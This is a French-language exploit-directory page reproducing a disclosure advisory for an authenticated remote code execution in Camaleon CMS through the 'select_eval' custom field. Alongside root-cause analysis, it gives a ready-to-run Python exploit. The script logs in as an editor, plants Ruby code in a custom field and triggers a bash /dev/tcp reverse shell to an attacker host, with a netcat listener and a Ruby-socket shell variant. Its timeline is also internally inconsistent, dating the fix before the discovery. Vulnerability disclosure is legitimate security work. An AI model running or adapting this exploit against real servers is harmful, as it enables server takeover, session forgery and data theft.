Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Avis de sécurité : Camaleon CMS - RCE authentifié via le champ personnalisé `select_eval` | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheDéveloppement de Charges Utiles
GitHub
theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

Avis de sécurité : Camaleon CMS - RCE authentifié via le champ personnalisé `select_eval`

Voir le dépôt
128il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
# Avis de sécurité : Camaleon CMS - RCE authentifiée via le champ personnalisé `select_eval`

**ID CVE attribué :** CVE-2026-66748

**Produit :** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**Versions affectées :** 2.1.1 – 2.9.1 (introduit par le commit 415cbda6 2015-10-16 ; corrigé par le commit 15882366 2026-03-29 / v2.9.2)
**Sévérité :** Élevée
**Score CVSS 4.0 :** 8.7
**Vecteur CVSS 4.0 :** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE :** CWE-94 (Injection de code)
**Chercheur :** Theodosis Paidakis
**Éditeur notifié :** 2026-06-21
**Avis associé :** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` - type de champ parallèle, même cause racine, aucun CVE attribué)

## Résumé

Le type de champ personnalisé `select_eval` stocke une expression Ruby arbitraire dans `field.options[:command]` et l'exécute via `instance_eval` dans une vue ERB chaque fois qu'une page d'édition de publication est rendue. Avant la v2.9.2, tout utilisateur disposant de la permission de gestion `custom_fields` - couramment accordée aux comptes de rôle éditeur - pouvait créer ce type de champ et obtenir une RCE côté serveur. Un champ `select_eval` se déclenche à chaque rendu de page de toute publication utilisant le groupe de champs ; sa sortie devient la liste des options de la liste déroulante. La vulnérabilité a été corrigée dans la v2.9.2.

## Composant affecté

**Fichier :** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`

```erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>
```

`instance_eval` est appelé avec la chaîne brute issue de l'enregistrement en base de données. Aucun bac à sable et aucune restriction à la compilation sur les méthodes ou constantes accessibles depuis le binding ERB (qui est un contexte de vue Rails complet).

**Fichier :** `app/models/camaleon_cms/ability.rb` (v2.9.1, lignes 161-165)

`custom_fields` n'est jamais accordé explicitement. Huit ressources obtiennent `can :manage` individuellement plus haut dans le fichier (`media`, `comments`, `themes`, `widgets`, `nav_menu`, `plugins`, `users`, `settings`), et `custom_fields` n'en fait pas partie. Il n'est accessible que via ce fourre-tout, qui accorde `manage` à toute clé présente dans le hash `@roles_manager` du rôle sans vérifier si cette clé est sûre à accorder :

```ruby
@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end
```

Tout utilisateur dont le rôle a le bit `custom_fields` activé atteint donc le contrôleur des champs personnalisés. Dans la plage affectée, ce bit est régulièrement accordé aux rôles de niveau éditeur.

La réécriture de la v2.9.2 remplace `can` par un wrapper `safe_can` et ajoute une liste explicite `%i[...]` contenant à la fois `custom_fields` et `select_eval`, mais la boucle fourre-tout ci-dessus existe toujours dans cette version. Ce n'est pas la liste de permissions qui corrige ce problème ; ce sont l'allowlist de strong parameters dans `custom_fields_controller.rb` et le contrôle `can?(:manage, :select_eval)` dans `custom_field_group.rb`.

## Analyse de la cause racine

Le type de champ `select_eval` a été conçu pour permettre aux développeurs de remplir dynamiquement des listes déroulantes à partir de code Ruby stocké dans la base de données du CMS. Exécuter du Ruby arbitraire depuis une colonne de base de données via `instance_eval` équivaut à accorder un accès shell à quiconque peut écrire cette valeur. La permission requise était `custom_fields` - une permission de gestion de contenu ordinaire - plutôt qu'un bit privilégié explicite.

## Relation avec les avis antérieurs

Cette découverte a été publiée sous GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9, couvrant un type de champ parallèle `label_eval` dans Camaleon CMS. Cet avis faisait partie d'un lot de cinq découvertes (GHSL-2024-182 à GHSL-2024-186) ; seules deux des cinq ont reçu des numéros CVE (CVE-2024-46986 et CVE-2024-46987). GHSL-2024-185 lui-même n'a aucun CVE attribué.

`select_eval` et `label_eval` partagent la même cause racine - du Ruby arbitraire stocké en base de données exécuté via `instance_eval` dans une vue ERB - mais diffèrent sur tous les autres aspects :

|                | `label_eval` (GHSL-2024-185) | `select_eval` (ce rapport)         |
| -------------- | ---------------------------- | ---------------------------------- |
| Site d'exécution | Libellé de champ dans tout formulaire | `select_tag` dans la page d'édition de publication |
| Chemin d'écriture | Texte du libellé du champ personnalisé | Ligne méta `field.options[:command]` |

Ce rapport couvre exclusivement `select_eval`. Aucun CVE existant ni avis public ne documente ce type de champ spécifique et son chemin d'exploitation.

## Étapes de reproduction

La plage affectée v2.1.1 à v2.9.1 a été déterminée par analyse du code source ; l'exploitation a été confirmée de bout en bout sur la v2.9.1. Nécessite uniquement un compte disposant de la permission `custom_fields` - aucun accès serveur.

**Prérequis :** Tout compte avec le bit de gestion `custom_fields` activé - une permission standard de rôle éditeur dans la plage affectée.

**Étape 1.** Démarrer un listener :

```bash
nc -lnvp 4444
```

**Étape 2.** Exécuter le script. Modifier `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID` et les identifiants.

`TYPE_ID` - ID du type de publication visible dans l'URL de la barre latérale d'administration (par ex. `/admin/post_type/2/posts`).
`POST_ID` - tout ID de publication sous ce type, à partir des liens d'édition de la liste des publications.

```python
import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```

<img width="2226" height="592" alt="image" src="https://assets.kitploit.com/production/public/readmes/45404/aa9bbcb4c28536ceec9b33ecb971e6f0db1bda9b34b5f6404fc745d4af053f4a.png" />

## Impact

Tout compte disposant de la permission `custom_fields` (avant la v2.9.2) obtient :

- **Exécution de Ruby arbitraire** dans le processus Rails, avec les privilèges de l'utilisateur du serveur web (`deploy`, `www-data`, `rails`, etc.)
- **Exécution persistante** : la charge utile se déclenche à chaque rendu de page de chaque publication utilisant le groupe de champs - ce n'est pas une exploitation ponctuelle
- **Falsification de session** : la lecture de `secret_key_base` depuis `config/secrets.yml` permet de falsifier des cookies de session arbitraires pour n'importe quel utilisateur, y compris les administrateurs
- **Impact multi-sites** : sur une instance Camaleon partagée, le processus Rails a accès aux données de tous les sites

Avant la v2.9.2, la permission `custom_fields` était régulièrement accordée aux utilisateurs de rôle éditeur. Un attaquant qui compromet n'importe quel compte de niveau éditeur obtient une RCE complète côté serveur.

## Chronologie

**2026-06-19** - Découverte lors de l'analyse du code source de la v2.9.2 et de la v2.9.1
**2026-06-21** - Éditeur notifié
**2026-03-29** - Correctif déjà publié (v2.9.2, commit 15882366)
Télécharger l’outil